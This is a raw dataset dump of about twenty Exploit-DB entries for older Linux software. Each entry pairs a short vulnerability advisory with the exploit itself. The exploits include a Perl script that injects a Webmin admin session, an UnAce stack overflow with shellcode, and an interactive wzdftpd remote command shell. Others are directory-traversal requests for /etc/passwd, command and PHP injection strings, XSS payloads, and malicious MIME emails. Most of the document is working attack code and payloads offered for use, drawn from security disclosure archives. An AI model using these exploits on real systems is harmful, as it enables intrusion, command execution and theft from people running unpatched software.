deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22275
Description: Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing
Type: remote
Platform: linux
Date: 2003-02-20
Author: Carl Livitt

Exploit:
source: https://www.securityfocus.com/bid/6915/info

A vulnerability has been discovered in the 'Miniserv.pl' script used to invoke both Webmin and Usermin. Due to insufficient sanitization of client-supplied BASE64 encoded input, it is possible to inject a Session ID into the access control list.

Successful exploitation of this vulnerability may allow an attacker to bypass typical authentication procedures, thus gaining adminstrative access to a webmin/usermin interface. 


#!/usr/bin/perl
#
# Exploit for Webmin 1.050 -> 1.060 by Carl Livitt
#
# Inserts a fake session_id into the sessions list of webmin.
# Does no error checking... if remote host is not found, no
# error will be reported.
#

print "Webmin 1.050 - 1.060 Remote SID Injection Exploit\n";
print "By Carl Livitt <carl at learningshophull dot co dot uk>\n\n";

$nc="/usr/bin/netcat";

if($#ARGV == -1) {
	print "Syntax:\n\t$0 hostname\n";
	exit(1);
}

$hostname=$ARGV[0];

if ( ! -x $nc ) {
	print "netcat not found!\n";
	exit(2);
}

open(NC, "|$nc $hostname 10000 >& /dev/null");
print NC "GET / HTTP/1.1\n";
print NC "Host: $hostname\n";
print NC "User-agent: webmin\n";
print NC "Authorization: Basic YSBhIDEKbmV3IDEyMzQ1Njc4OTAgYWRtaW46cGFzc3dvcmQ=\n\n";
close(NC);

print "You should now have a session_id of[PII_REDACTED] for user 'admin' on host $hostname.\n";
print "Just set two cookies in your browser:\n\ttesting=1\n\tsid=[PII_REDACTED]\nand you will ";
print "be authenticated to the webmin server!\n\n";
print "Note: This will only work on a webmin server configured with the 'passdelay' option.\n";
Exploit-DB #14925
Description: weborf 0.12.2 - Directory Traversal
Type: remote
Platform: linux
Date: 2010-09-07
Author: Rew

Exploit:
Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability
Date: Sep 6, 2010
Author:	Rew
Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php
Version: 0.12.2
Tested On: Debian 5
CVE: N/A

=============================================================

Weborf httpd <= 0.12.2 suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files and hak th3 plan3t.

instance.c : line 240-244
------------------------------
void modURL(char* url) {
    //Prevents the use of .. to access the whole filesystem  <-- ORLY?
    strReplace(url,"../",'\0');

    replaceEscape(url);
------------------------------

Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

==============================================================

Stay safe,
Over and Out
Exploit-DB #32837
Description: Wesnoth 1.x - PythonAI Remote Code Execution
Type: remote
Platform: linux
Date: 2009-02-25
Author: Wesnoth

Exploit:
source: https://www.securityfocus.com/bid/33971/info

Wesnoth is prone to a remote code-execution vulnerability caused by a design error.

Attackers can exploit this issue to execute arbitrary Python code in the context of the user running the vulnerable application.

Versions prior to Wesnoth 1.5.11 are affected.

#!WPY
import threading
os = threading._sys.modules['os']
f = os.popen("firefox 'http://www.example.com'")
f.close()
Exploit-DB #23054
Description: WIDZ 1.0/1.5 - Remote Code Execution
Type: remote
Platform: linux
Date: 2003-08-23
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/8479/info

WIDZ does not validate untrusted input when generating alerts. Alerts pass the essid of an unknown wireless access point through a system() call. By setting the essid of an unauthorized access point to include malformed information, the underlying operating system may be compromised. 

Go to Apple Airport and set network name to ';/usr/bin/id;

This will generate the following message:
unknown AP essid=
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh: -c: line 3: unexpected EOF while looking for matching `''
sh: -c: line 4: syntax error: unexpected end of file
Exploit-DB #27244
Description: Wimpy MP3 Player 5 - Text File Overwrite
Type: remote
Platform: linux
Date: 2006-02-16
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/16696/info

Wimpy MP3 is prone to a weakness that permits the overwriting of a text file with arbitrary attacker-supplied data.

Successful exploitation of this issue may aid an attacker in further attacks.

The following proof of concept URI is available:
http://www.example.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=trackplays&trackFile=<?php&trackArtist=system("uname -a;id;");&trackTitle=?>
Exploit-DB #25150
Description: Winace UnAce 1.x - ACE Archive Directory Traversal
Type: remote
Platform: linux
Date: 2005-02-23
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/12628/info

A remotely exploitable client-side directory-traversal vulnerability affects Winace unace. The application fails to properly sanitize file and directory names contained within malicious ACE format archives.

An attacker may leverage this issue by distributing malicious ACE archives to unsuspecting users. This issue will allow an attacker to write files to arbitrary locations on the filesystem with the privileges of an unsuspecting user that extracts the malicious ACE archive.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25150.zip
Exploit-DB #23368
Description: Winace UnAce 2.2 - Command Line Argument Buffer Overflow (1)
Type: remote
Platform: linux
Date: 2003-11-10
Author: demz

Exploit:
// source: https://www.securityfocus.com/bid/9002/info

UnAce has been reported to be prone to a buffer overflow vulnerability. The issue presents itself when UnAce handles ace filenames that are of excessive length. When this filename is passed to the UnAce utility as an argument, the string is copied into a reserved buffer in memory. Data that exceeds the size of the reserved buffer will overflow its bounds and will trample any saved data that is adjacent to the affected buffer. Ultimately this may lead to the execution of arbitrary instructions in the context of the user who is running UnAce.

/* gEEk-unace.c
 *
 * PoC exploit made for advisory based uppon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * Unace v2.2
 *
 * Tested on:  Debian 3.0
 *
 * Advisory source: MegaHz
 * http://www.securityfocus.com/archive/1/344065/2003-11-07/2003-11-13/0
 *
 * -----------------------------------------
 * coded by: demz (geekz.nl) (demz@geekz.nl)
 * -----------------------------------------
 *
 */

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

        "\x31\xc0"                      // xor          eax, eax
        "\x31\xdb"                      // xor          ebx, ebx
        "\x31\xc9"                      // xor          ecx, ecx
        "\xb0\x46"                      // mov          al, 70
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\x50"                          // push         eax
        "\x68\x6e\x2f\x73\x68"          // push  long   0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // push  long   0x69622f2f
        "\x89\xe3"                      // mov          ebx, esp
        "\x50"                          // push         eax
        "\x53"                          // push         ebx
        "\x89\xe1"                      // mov          ecx, esp
        "\x99"                          // cdq
        "\xb0\x0b"                      // mov          al, 11
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\xb0\x01"                      // mov          al, 1
        "\xcd\x80";                     // int          0x80

int main()
{
        unsigned long ret = 0xbfffc260;

        char buffer[707];
        int i=0;

        memset(buffer, 0x90, sizeof(buffer));

        for (0; i < strlen(shellcode) - 1;i++)
        buffer[300 + i] = shellcode[i];

        buffer[707] = (ret & 0x000000ff);
        buffer[708] = (ret & 0x0000ff00) >> 8;
        buffer[709] = (ret & 0x00ff0000) >> 16;
        buffer[710] = (ret & 0xff000000) >> 24;
        buffer[711] = 0x0;

        printf("\nUnace v2.2 local exploit\n");
        printf("---------------------------------------- demz @ geekz.nl --\n");

        execl("./unace", "unace", "e", buffer, NULL);
}
Exploit-DB #35314
Description: Wireshark 1.4.3 - '.pcap' Memory Corruption
Type: remote
Platform: linux
Date: 2011-02-03
Author: Huzaifa Sidhpurwala

Exploit:
source: https://www.securityfocus.com/bid/46167/info

Wireshark is prone to a memory-corruption vulnerability because it fails to properly handle certain files.

Successful exploits may allow attackers to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely crash the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36128.pcap
Exploit-DB #22623
Description: WSMP3 0.0.x - Remote Command Execution
Type: remote
Platform: linux
Date: 2003-05-21
Author: dong-h0un U

Exploit:
source: https://www.securityfocus.com/bid/7645/info

A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP POST requests. As a result, an attacker may be capable of executing arbitrary files on a target system. This may lead to the complete compromise of a target system. 

bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
POST /dir/../../../../../../bin/ps HTTP/1.0
Exploit-DB #22622
Description: WSMP3 0.0.x - Remote Information Disclosure
Type: remote
Platform: linux
Date: 2003-05-21
Author: dong-h0un U

Exploit:
source: https://www.securityfocus.com/bid/7642/info


A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP GET requests. As a result, an attacker may be capable of accessing the contents of sensitive system resources. Information obtained through the exploitation of this issue may aid an attacker in launching further attacks against a target system.

bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
GET /dir/../../../../../../etc/passwd HTTP/1.0
Exploit-DB #20690
Description: WU-FTPD 2.4/2.5/2.6 / Trolltech ftpd 1.2 / ProFTPd 1.2 / BeroFTPD 1.3.4 FTP - glob Expansion
Type: remote
Platform: linux
Date: 2001-03-15
Author: Frank DENIS

Exploit:
source: https://www.securityfocus.com/bid/2496/info

Many FTP servers are vulnerable to a denial of service condition resulting from poor globbing algorithms and user resource usage limits.

Globbing generates pathnames from file name patterns used by the shell, eg. wildcards denoted by * and ?, multiple choices denoted by {}, etc.

The vulnerable FTP servers can be exploited to exhaust system resources if per-user resource usage controls have not been implemented. 

#!/bin/bash=20
ftp -n FTP-SERVER<<\end=20
quot user anonymous
bin
quot pass shitold@bug.com
ls /../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
bye=20
end=20
Exploit-DB #1231
Description: WzdFTPD 0.5.4 - Remote Command Execution
Type: remote
Platform: linux
Date: 2005-09-24
Author: kingcope

Exploit:
######################################################
# 0day0day0day0day0day0day0day
# -------------------------------
# wzdftpd remote exploit by kcope
# nice call to popen(3) on custom 
# site commands...
#
# August 2005
# confidential! keep private!
# -------------------------------
# 0day0day0day0day0day0day0day
#
#                    .___ _____  __             .___
#__  _  __________ __| _// ____\/  |_______   __| _/
#\ \/ \/ /\___   // __ |\   __\\   __\____ \ / __ | 
# \     /  /    // /_/ | |  |   |  | |  |_> > /_/ | 
#  \/\_/  /_____ \____ | |__|   |__| |   __/\____ | 
#               \/    \/             |__|        \/ 
#                                      
#__  _  _______ _______   ____ ________
#\ \/ \/ /\__  \\_  __ \_/ __ \\___   /
# \     /  / __ \|  | \/\  ___/ /    / 
#  \/\_/  (____  /__|    \___  >_____ \
#              \/            \/      \/ VER1
######################################################

use Net::FTP;

sub usage {
	print "usage: wzdftpdwarez.pl remote_host remote_port user pass custom_site_command\n"
	     ."default guest account for wzdftpd is username/password: guest/%\n";
}

print "
wzdftpd remote exploit by kcope
August 2005
confidential! keep private!

";

if ($#ARGV < 4) {
	usage();
	exit();	 
}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$sitecmd = $ARGV[4];

$ftp = Net::FTP->new(Host => $host, Port => $port, Debug => 0)
     or die "Cannot connect to $host: $@";

$ftp->login($user, $pass)
     or die "Cannot login ", $ftp->message;
     
print "Now you can type commands, hopefully as r00t!\n";
while(1) {
	print "!\$%&#>";
	$cmd=<stdin>;
	$ftp->site($sitecmd, "|$cmd;");
	print $ftp->message();
}

# milw0rm.com [2005-09-24]
Exploit-DB #20161
Description: X-Chat 1.2/1.3/1.4/1.5 - Command Execution via URLs
Type: remote
Platform: linux
Date: 2000-08-17
Author: zenith parsec

Exploit:
source: https://www.securityfocus.com/bid/1601/info

A vulnerability exists in versions 1.4.2 and earlier of the X-Chat IRC client. By supplying commands enclosed in backticks (``) in URL's sent to X-Chat, it is possible to execute arbitrary commands should the X-Chat user decide to view the link by clicking on it. This is due to the manner in which X-Chat launches pages for viewing.

X-Chat launches Netscape without checking for shell metacharacters in the supplied URL. This allows for an attacker to exploit shell expansion capabilities to execute commands as the user running Netscape.

http://www.altavista.com/?x=`date`y='`date`'
Exploit-DB #21210
Description: X-Chat 1.x - CTCP Ping Remote IRC Command Execution
Type: remote
Platform: linux
Date: 2002-01-09
Author: Marcus Meissner

Exploit:
source: https://www.securityfocus.com/bid/3830/info

X-Chat is a graphical client for IRC. It requires the GTK+ toolkit, and is available for many Linux and Unix operating systems.

If a CTCP ping request includes escaped newline characters and additional IRC commands, these commands may be executed by the vulnerable client. It is possible to gain operator status in channels owned by the vulnerable user, or to use their identity to initiate social engineering attacks.

Although this vulnerability exists in recent versions of X-Chat, the option to expand characters has been disabled by default since version 1.4.3. 

cat 21210.exploit - | netcat server 6667 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21210.exploit
Exploit-DB #32166
Description: XAMPP Linux 1.6 - 'iart.php?text' Cross-Site Scripting
Type: remote
Platform: linux
Date: 2008-08-04
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/30535/info
 
XAMPP for Linux is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
XAMPP 1.6.7 for Linux is vulnerable; other versions may also be affected. 

http://www.example.com/xampp/iart.php?text=">><<>>"''<script>alert(document.alert)</script>
Exploit-DB #32165
Description: XAMPP Linux 1.6 - 'ming.php?text' Cross-Site Scripting
Type: remote
Platform: linux
Date: 2008-08-04
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/30535/info

XAMPP for Linux is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

XAMPP 1.6.7 for Linux is vulnerable; other versions may also be affected. 

http://www.example.com/xampp/ming.php?text=">><<>>"''<script>alert(document.alert)</script>
Exploit-DB #33388
Description: Xfig and Transfig 3.2.5 - '.fig' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2009-12-03
Author: pedamachephepto

Exploit:
source: https://www.securityfocus.com/bid/37193/info

Xfig and Transfig are prone to a buffer-overflow vulnerability because they fail to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Xfig and Transfig 3.2.5 are vulnerable; other versions may also be affected. 

       PROGRAM XFIG_POC

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
C
C      XFIG <= 3.2.5B BUFFER OVERFLOW
C      TRANSFIG <= 3.2.5A (FIG2DEV SOFT) BUFFER OVERFLOW
C      WWW.XFIG.ORG
C
C      AUTHORS:
C      * PEDAMACHEPHEPTOLIONES <pedamachepheptoliones@gmail.com>
C      * D.B. COOPER
C
C      PROBLEM:
C      A STACK-BASED BUFFER OVERFLOW OCCURS IN read_1_3_textobject()
C      WHEN READING MALFORMED .FIG FILES
C      EIP IS OVERWRITTEN SO IT'S NOT JUST A CRASH
C
C      TEST:
C      xfig plane.fig
C      fig2dev -L png plane.fig
C      (IT DOESN'T HAVE TO BE "PNG")
C
C      SOLUTION:
C      DON'T TAKE .FIG CANDY FROM STRANGERS
C
C      OLDSKOOL FORTRAN POCS FTW
C
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

       INTEGER I
       CHARACTER(LEN=167) :: STR

       DO 10 I=1,167
       STR(I:I)='Z'
10     CONTINUE

       OPEN(11,FILE='plane.fig')
       WRITE(11,*) '0 1 2 3'
       WRITE(11,*) '4'
       WRITE(11,*) '1 2 3 4 5 6 7 '//STR
       CLOSE(11)

       WRITE(*,*) 'GREETZ: BACKUS AND BACCHUS'

       END PROGRAM XFIG_POC
Exploit-DB #22371
Description: Ximian Evolution 1.x - MIME image/* Content-Type Data Inclusion
Type: remote
Platform: linux
Date: 2003-03-19
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/7119/info

Ximian Evolution does not properly validate MIME image/* Content-Type fields. If an email message contains an image/* Content-Type, any type of data can be embedded where the image information is expected. This can be used to embed HTML tags that will be rendered by GTKHtml, bypass policies, or invoke bonobo components to handle external content types.

The following example will cause heap corruption:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <[PII_REDACTED].1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello

Hello World!

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will bypass the "Don't connect to remote hosts to fetch images" option:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <[PII_REDACTED].1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart

<img src="http://external.host.com:anyport">

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will cause Evolution to invoke the bonobo-audio-ulaw component:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <[PII_REDACTED].1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong

There she was, just walking down the street...

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y
Exploit-DB #22369
Description: Ximian Evolution 1.x - UUEncoding Parsing Memory Corruption
Type: remote
Platform: linux
Date: 2003-03-17
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/7117/info

The Evolution mail client supports "uuencoded" content and decodes it automatically when a message is initially parsed. A memory corruption error is present in the parsing component that can result in the client crashing when specially malformed content is decoded. The presence of such a message in an Evolution user's mailbox may result in a prolonged denial of service as the crashing of the GUI may prevent deletion of the message. The user will also not be able to read messages while the message is present in their mailbox. It is not yet determined whether this vulnerability may be exploited by remote attackers to compromise client hosts. Users are advised to upgrade despite this uncertainty.

The following email will reproduce this vulnerability, note that
an empty line is required before and after the UUE header line.

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <[PII_REDACTED].1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=name
Content-Type: application/octet-stream; name=name
Content-Transfer-Encoding: 7bit

begin 600

end

--=-mTDu5zdJIsixETTwCF5Y--
Exploit-DB #24038
Description: Xine 0.9.x and Xine-Lib 1 - Multiple Remote File Overwrite Vulnerabilities
Type: remote
Platform: linux
Date: 2004-04-22
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10193/info

It has been reported that the xine media player and the xine media library are affected by multiple remote file overwrite vulnerabilities. This is due to a design error that allows various media resource file configurations to write to arbitrary files.

It is possible to set these configuration parameters to write to arbitrary files on the affected system. It should be noted that this issue, as it is currently known, only affects Sun based systems as well as those using the DXR3 or Hollywood+ MPEG decoder audio card. It has been conjectured however that similar configuration parameters exists that affect other systems.

The configuration syntax:

"cfg:/audio.sun_audio_device:targetFile" 

If followed by the entry:

"http://www.example.com/attackerSpecifiedFile"

Will cause the attacker specified file to be written to the target file.